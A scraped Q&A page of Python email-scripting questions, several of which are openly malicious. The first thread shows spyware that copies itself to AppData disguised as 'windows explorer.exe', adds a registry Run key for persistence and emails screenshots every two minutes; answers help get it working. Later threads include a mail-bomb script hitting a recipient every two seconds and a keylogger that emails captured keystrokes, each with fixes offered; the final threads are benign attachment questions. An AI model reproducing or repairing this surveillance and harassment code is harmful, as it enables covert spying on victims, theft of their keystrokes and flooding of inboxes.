How add my python EXE file silently to Startup of windows - python

I am using that startup regedit code(python 3) but not working
startup code:
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
Full code is here
I have made a python script that sends a screenshot after a specific interval of time. Now I want to add the persistency (program start at startup also) to that program. I have added the startup statement to my program, but it is not working.
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666#gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666#gmail.com"
msg['To'] = "zainali90900666#gmail.com"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(120)

Your become_persistent() is never called.
You need to unindent this line:
self.become_persistent()

Would you try this code instead? I modified the code to log all errors to a file and put it on your desktop. Look at the file and tell me what you see in the comments. Once you get back to me I will update this answer to actually be an answer
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
path = 'path2 = R"C:\Users\$USERNAME\Desktop\log.txt"'
full_path = os.path.expanduser(path)
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666#gmail.com", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666#gmail.com"
msg['To'] = "zainali90900666#gmail.com"
try:
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("zainali90900666#gmail.com", "zainali90900666#gmail.com", msg.as_string())
# Change this value to your liking
time.sleep(120)
except Exception as e:
with open(full_path, 'a') as f:
f.append(f"{type(e)}: {e}")

To add it to start up you need to add a shortcut of the exe file to the start up folder:
Click Win+R at the same time on your keyboard
Type shell:startup
Drag and drop your python file onto the folder that opened.
Or you could try this solution in the code:
https://stackoverflow.com/a/45617568/13156681

Related

Python FileNotFoundError despite clearly having found the file

I'm working on a mailbomb program that randomizes images from a given directory. The code looks like this:
import schedule, time, smtplib, random, os, sys, socket
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
# Image randomization still under development
def message(subject="Python Notification",
text="", img="", attachment=None):
msg = MIMEMultipart()
msg['Subject'] = subject
msg.attach(MIMEText(text))
if type(img) is not list:
img=[img]
for one_img in img:
path = "C:\\Users\\JoeBiden\\Desktop\\PJ\\AMP\\ImgLib"
files=os.listdir(path)
randPic=random.choice(files)
img_data = open(randPic, 'rb').read()
msg.attach(MIMEImage(img_data,
name=os.path.basename(img_data)))
if attachment is not None:
if type(attachment) is not list:
attachment = [attachment]
for one_attachment in attachment:
with open(one_attachment, 'rb') as f:
file = MimeApplication(
f.read(),
name=os.path.basename(one_attachment)
)
file['Content-Disposition'] = f'attachment;\
filename="{os.path.basename(one_attachment)}"'
msg-attach(file)
return msg
def mail():
smtp=smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.starttls()
smtp.login('umomghaey#gmail.com', 'PEEENIS')
msg = message("Pizza", "Pizza", r"C:\Users\JoeBiden\Desktop\PJ\AMP\ImgLib")
to = ("cheeseburger#gmail.com")
smtp.sendmail(from_addr="beesechurger#gmail.com",
to_addrs=to, msg=msg.as_string())
smtp.quit()
schedule.every(2).seconds.do(mail)
while True:
schedule.run_pending()
time.sleep(1)
When running in CMD I get the following error:
ret = self.job_func()
File "C:\Users\JoeBiden\Desktop\PJ\AMP\MailRandomizer.py", line 46, in mail
msg = message("Pizza", "Pizza", r"C:\Users\JoeBiden\Desktop\PJ\AMP\ImgLib")
File "C:\Users\JoeBiden\Desktop\PJ\AMP\MailRandomizer.py", line 22, in message
img_data = open(randPic, 'rb').read()
FileNotFoundError: [Errno 2] No such file or directory: 'RandImageFile.jpg'
To me the error seems paradoxical since it clearly shows me that it has found one of the desired files in the correct directory. That being the 'RandImageFile.jpg'
os.listdir() only gives you the filenames, so try replacing
files=os.listdir(path)
with something like
files = [os.path.join(path, f) for f in os.listdir(path)]

Importing variable in another python files doesn't work(may circular importing error)

I was making some keylogging code for my first security project.
I have 2 python code file named as mainKeylogger.py(capture key log)and mailFunc.py(send mail with keylogging file automatically) under the same directory. When I executed mailFunc.py, there was an error that..
AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)
Do you know why error occurs and how to fix it?
I searched information about "circular import", Maybe it's because I'm not good enough yet about programming, so I didn't understand well.
I need your help.
All the 2 codes I wrote are below.
mainKeylogger.py
from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime
import mailFunc
import threading
if os.path.isdir('C:\\Keylogging') == False:
os.mkdir('C:\\Keylogging')
log_dir = ''
now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')
logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\"+ currentTime +"Key.txt"),
level=logging.DEBUG, format='["%(asctime)s". %(message)s]')
keylogFileName = "C:\\Keylogging\\Key_" + currentTime + ".txt"
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press = on_press) as listener:
listener.join()
mailFunc.autoEmailSend(keylogFileName)
mailFunc.py
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import schedule
import threading
import mainKeylogger
def autoEmailSend(filenametosend):
#erased because it is my private information
email_user = '(erase)'
email_password = '(erase)'
email_send = '(erase)'
subject = 'Keylogging Automatic Report'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Keylogging Report at ' + time.strftime('%c', time.localtime(time.time()))
msg.attach(MIMEText(body,'plain'))
filename = filenametosend
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))
threading.Timer(30.0, autoEmailSend).start()
autoEmailSend(mainKeylogger.keylogFileName)
I don't have much experience in this field yet and I'm learning English, so I might not be able to explain the problem well (as English). I ask for your understanding.
when you import the file, you can use its vars directly
autoEmailSend(keylogFileName)

Can't open attachments using SMTPLIB

These are the imports I used to send the email:
import tkinter as tk
from tkinter import filedialog
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
import email, smtplib, ssl
from email import encoders
import os
I have made a script where you can add attachments to emails using tkfiledialog to select files using this function:
def browse_file(): # Select a file to open
global filelist
filelist = filedialog.askopenfilenames()
files_attached_tk.set("Files Attached: " + str(len(filelist)))
This is the part of the script that attaches and sends the file(s): (For and With are on same indentation)
for file in filelist:
attachment_part = MIMEBase("application", "octet-stream")
attachment_part.set_payload(open(file, "rb").read())
encoders.encode_base64(attachment_part)
attachment_part.add_header("Content-Disposition", "attachment; filename='%s'" % os.path.basename(file))
message.attach(attachment_part)
# Create Server Connection
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=context) as server:
server.login(config.email_sender, config.email_password)
server.sendmail(
sender_email, reciever_email, message.as_string()
)
The problem is that, the files do send, but, they appear to be wrapped in ' ' in the email attachment. They look like this: 'document.pdf' which makes the document unreadable, for example, it does not say PDF File in the email because it is wrapped in ' '.
I have managed to open the files on my computer but I cannot open them on my phone. How would I be able to remove the ' ' from the file name? I have tried to do os.path.basename(file).strip("\'") or .strip("'") but the ' ' are still wrapping the filename. How can I remove these?
Happy to provide more details.
It might help to set 'application/pdf' as the mimetype - some mail clients rely on the mimetype to work out which application should open the attachment.
# Additional imports
from email.mime.application import MIMEApplication
import mimetypes
...
for file in filelist:
mimetype, _ = mimetypes.guess_type(file)
mimetype = 'application/octet-stream' if mimetype is None else mimetype
_, _, subtype = mimetype.partition('/')
attachment_part = MIMEApplication(open(file, "rb").read(), subtype)
attachment_part.add_header("Content-Disposition", "attachment; filename='%s'" % os.path.basename(file))
message.attach(attachment_part)
...

Select a random file from a directory and send it (Python, MIME)

I am working on a python program that randomly selects a file from a directory and then sends it to you using the email.mimemodule. I am having a problem where I can choose the random file but I can't sent it due to this error:
File "C:\Users\Mihkel\Desktop\dnak.py", line 37, in sendmemeone
attachment =open(filename, 'rb')
TypeError: expected str, bytes or os.PathLike object, not list
Here is the code:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import random
path ='C:/Users/Mihkel/Desktop/memes'
files = os.listdir(path)
index = random.randrange(0, len(files))
print(files[index])
def send():
email_user = 'yeetbotmemes#gmail.com'
email_send = 'miku.rebane#gmail.com'
subject = 'Test'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Here is your very own dank meme of the day:'
msg.attach(MIMEText (body, 'plain'))
filename=files
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment;
filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"MY PASSWORD")
server.sendmail(email_user,email_send,text)
server.quit()
I believe it is just getting the filename as the selected random choice, how could I get it to select the file itself?
EDIT: After making the changes recommended I am now getting this error:
File "C:\Users\Mihkel\Desktop\e8re.py", line 29, in send
part.add_header('Content-Disposition',"attachment; filename= "+filename)
TypeError: can only concatenate str (not "list") to str
Seems like this part is still taking in the list, how would I fix that?
You select a random file and then throw it away (well, you print it, then throw it away):
files = os.listdir(path)
index = random.randrange(0, len(files))
print(files[index])
(which BTW you can do with random.choice(files))
and when calling open you pass it the entire files list:
filename = files
attachment = open(filename, 'rb')
Instead, pass open the file you selected:
attachment = open(random.choice(files), 'rb')
But, this still wouldn't work since listdir only returns the filenames and not the full path, so you will need to get it back, preferably with os.path.join:
attachment = open(os.path.join(path, random.choice(files)), 'rb')

How to send a zip file as an attachment in python?

I have looked through many tutorials, as well as other question here on stack overflow, and the documentation and explanation are at minimum, just unexplained code. I would like to send a file that I already have zipped, and send it as an attachment. I have tried copy and pasting the code provided, but its not working, hence I cannot fix the problem.
So what I am asking is if anyone knows who to explain how smtplib as well as email and MIME libraries work together to send a file, more specifically, how to do it with a zip file. Any help would be appreciated.
This is the code that everyone refers to:
import smtplib
import zipfile
import tempfile
from email import encoders
from email.message import Message
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
def send_file_zipped(the_file, recipients, sender='you#you.com'):
myzip = zipfile.ZipFile('file.zip', 'w')
# Create the message
themsg = MIMEMultipart()
themsg['Subject'] = 'File %s' % the_file
themsg['To'] = ', '.join(recipients)
themsg['From'] = sender
themsg.preamble = 'I am not using a MIME-aware mail reader.\n'
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment',
filename=the_file + '.zip')
themsg.attach(msg)
themsg = themsg.as_string()
# send the message
smtp = smtplib.SMTP()
smtp.connect()
smtp.sendmail(sender, recipients, themsg)
smtp.close()
I suspect the issue is this code zips a file as well. I don't want to zip anything as I already have a zipped file I would like to send. In either case, this code is poorly documented as well as the python libraries themselves as they provide no insight on anything past img file and text files.
UPDATE: Error I am getting now. I have also updated what is in my file with the code above
Traceback (most recent call last):
File "/Users/Zeroe/Documents/python_hw/cgi-bin/zip_it.py", line 100, in <module>
send_file_zipped('hw5.zip', 'avaldez#oswego.edu')
File "/Users/Zeroe/Documents/python_hw/cgi-bin/zip_it.py", line 32, in send_file_zipped
msg.set_payload(myzip.read())
TypeError: read() takes at least 2 arguments (1 given)
I don't really see the problem. Just omit the part which creates the zip file and, instead, just load the zip file you have.
Essentially, this part here
msg = MIMEBase('application', 'zip')
msg.set_payload(zf.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment',
filename=the_file + '.zip')
themsg.attach(msg)
creates the attachment. The
msg.set_payload(zf.read())
sets, well, the payload of the attachment to what you read from the file zf (probably meaning zip file).
Just open your zip file beforehand and let this line read from it.
I agree the email package is not well documented yet. I investigated it before and wrote a wrapper module that simplifies these kinds of tasks. For example, the following works:
from pycopia import ezmail
# Get the data
data = open("/usr/lib64/python2.7/test/zipdir.zip").read()
# Make a proper mime message object.
zipattachement = ezmail.MIMEApplication.MIMEApplication(data, "zip",
filename="zipdir.zip")
# send it.
ezmail.ezmail(["Here is the zip file.", zipattachement],
To="me#mydomain.com", From="me#mydomain.com", subject="zip send test")
And that's all you need once you have everything installed and configured. :-)
My answer uses shutil to zip a directory containing the attachments and then adds the .zip to the email.
# Importing Dependencies
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import shutil
def Send_Email():
# Create a multipart message
msg = MIMEMultipart()
Body = MIMEText( {Enter Email Body as str here} )
# Add Headers
msg['Subject'] = ''
msg['From'] = ''
msg['To'] = ''
msg['CC'] = ''
msg['BCC'] = ''
# Add body to email
msg.attach(Body)
# Using Shutil to Zip a Directory
dir_name = {Add Path of the Directory to be Zipped}
output_filename = {Add Output Zip File Path}
shutil.make_archive(output_filename, 'zip', dir_name)
part = MIMEBase("application", "octet-stream")
part.set_payload(open(output_filename + ".zip", "rb").read())
encoders.encode_base64(part)
part.add_header("Content-Disposition", "attachment; filename=\"%s.zip\"" % (output_filename))
msg.attach(part)

Categories